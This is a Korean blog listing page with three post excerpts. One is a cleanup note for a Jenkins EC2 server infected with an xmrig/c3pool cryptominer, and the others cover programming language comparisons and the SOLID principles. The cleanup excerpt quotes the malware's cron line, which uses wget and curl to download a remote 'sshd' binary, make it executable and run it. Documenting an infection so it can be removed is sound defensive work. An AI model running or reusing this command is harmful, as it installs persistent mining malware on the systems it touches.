본문 바로가기

분류 전체보기

(3)
Jenkins EC2 Server xmrig c3pool /var/tmp/config.json /var/tmp/sshd /var/lib/c3pool systemctl 의 c3pool /var/spool/cron/crontabs/jenkins:5:0 에 있는 아래 내용 제거 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.cloudfronts.net/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.cloudfronts.net/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.cloudfronts..
상위 5개 프로그래밍 언어 비교 인기도, 커뮤니티 지원, 사용 편의성 및 다양성을 기준으로 상위 5개 프로그래밍 언어를 비교해 보겠습니다. Python: 파이썬은 단순성과 가독성으로 유명한 언어입니다. 과학 컴퓨팅, 데이터 분석, 인공지능 및 웹 개발에 널리 사용됩니다. 또한, 복잡한 프로그램을 빠르게 작성할 수 있도록 하는 대규모 커뮤니티와 방대한 타사 패키지 라이브러리를 보유하고 있습니다. 파이썬의 구문은 간단하고, 초보자가 배우기에 좋은 언어입니다. Java: 자바는 데스크톱 및 모바일 애플리케이션, 엔터프라이즈 애플리케이션 및 웹 서비스를 개발하는 데 사용되는 널리 사용되는 언어입니다. 정적 형식의 언어로, 컴파일 시 변수 형식을 확인합니다. 또, 플랫폼 독립성과 견고성으로 널리 알려져 있습니다. 거기에 더해 큰 공동체와 광범위..
SOLID 원칙이란? SOLID 원칙은 소프트웨어 시스템의 유지보수성, 유연성 및 확장성을 향상시키는 것을 목표로 하는 일련의 지침 또는 설계 원칙입니다. SOLID는 다음을 의미합니다: S: 단일 책임 원칙 O: 개방/폐쇄 원리 L: 리스코프 대체 원리 I: 인터페이스 분리 원칙 D: 종속성 반전 원리 이러한 각 원칙은 소프트웨어 설계의 다른 측면을 나타내며, 이들 원칙은 함께 개발자가 고품질의 잘 설계된 소프트웨어 시스템을 만들 수 있도록 지원하는 일관된 지침 집합을 형성합니다. SRP(Single Responsibility Principle)는 클래스에 변경할 이유가 하나만 있어야 한다고 명시합니다. 이것은 학급이 한 가지 책임이나 일을 해야 하고, 한 가지 이상에 대해 책임을 지지 않아야 한다는 것을 의미합니다. 이 ..